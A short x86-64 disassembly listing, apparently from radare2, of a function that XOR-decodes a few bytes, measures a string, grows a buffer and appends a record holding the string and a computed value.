lea eax, [rdx - 0x17]
inc edx
xor byte [rcx], al
cmp edx, 3
jb 0x14002f0a0
lea rdx, [rsp + 0x60]
mov byte [rsp + 0x63], r12b
mov rcx, rdi
call fcn.14007c128
test rax, rax
mov rbx, 0xffffffffffffffff
cmovne rdi, rax
inc rbx
cmp byte [rdi + rbx], r12b
jne 0x14002f0d7
add rsi, 0x53a0
lea r14d, [rbx + 0x18]
and r14d, 0xfffffffc
movsxd r15, dword [rsi]
mov ecx, dword [rsi + 4]
lea ebp, [r14 + r15]
cmp ebp, ecx
jle 0x14002f120
test ecx, ecx
je 0x14002f10c
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x14002f111
mov eax, 8
cmp eax, ebp
mov edx, ebp
mov rcx, rsi
cmovg edx, eax
call fcn.140030840
mov dword [rsi], ebp
mov rax, qword [rsi + 8]
mov dword [r15 + rax], r14d
mov rsi, qword [rsi + 8]
add rsi, 4
add rsi, r15
mov qword [rsp + 0x58], rsi
je 0x14002f142
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call fcn.14001b790
lea r8, [rbx + 1]
mov dword [rsi], eax
lea rcx, [rsi + 0x10]
mov rdx, rdi
call fcn.14007c4a0
mov rbx, qword [rsp + 0x50]
mov rax, rsi
mov rbp, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret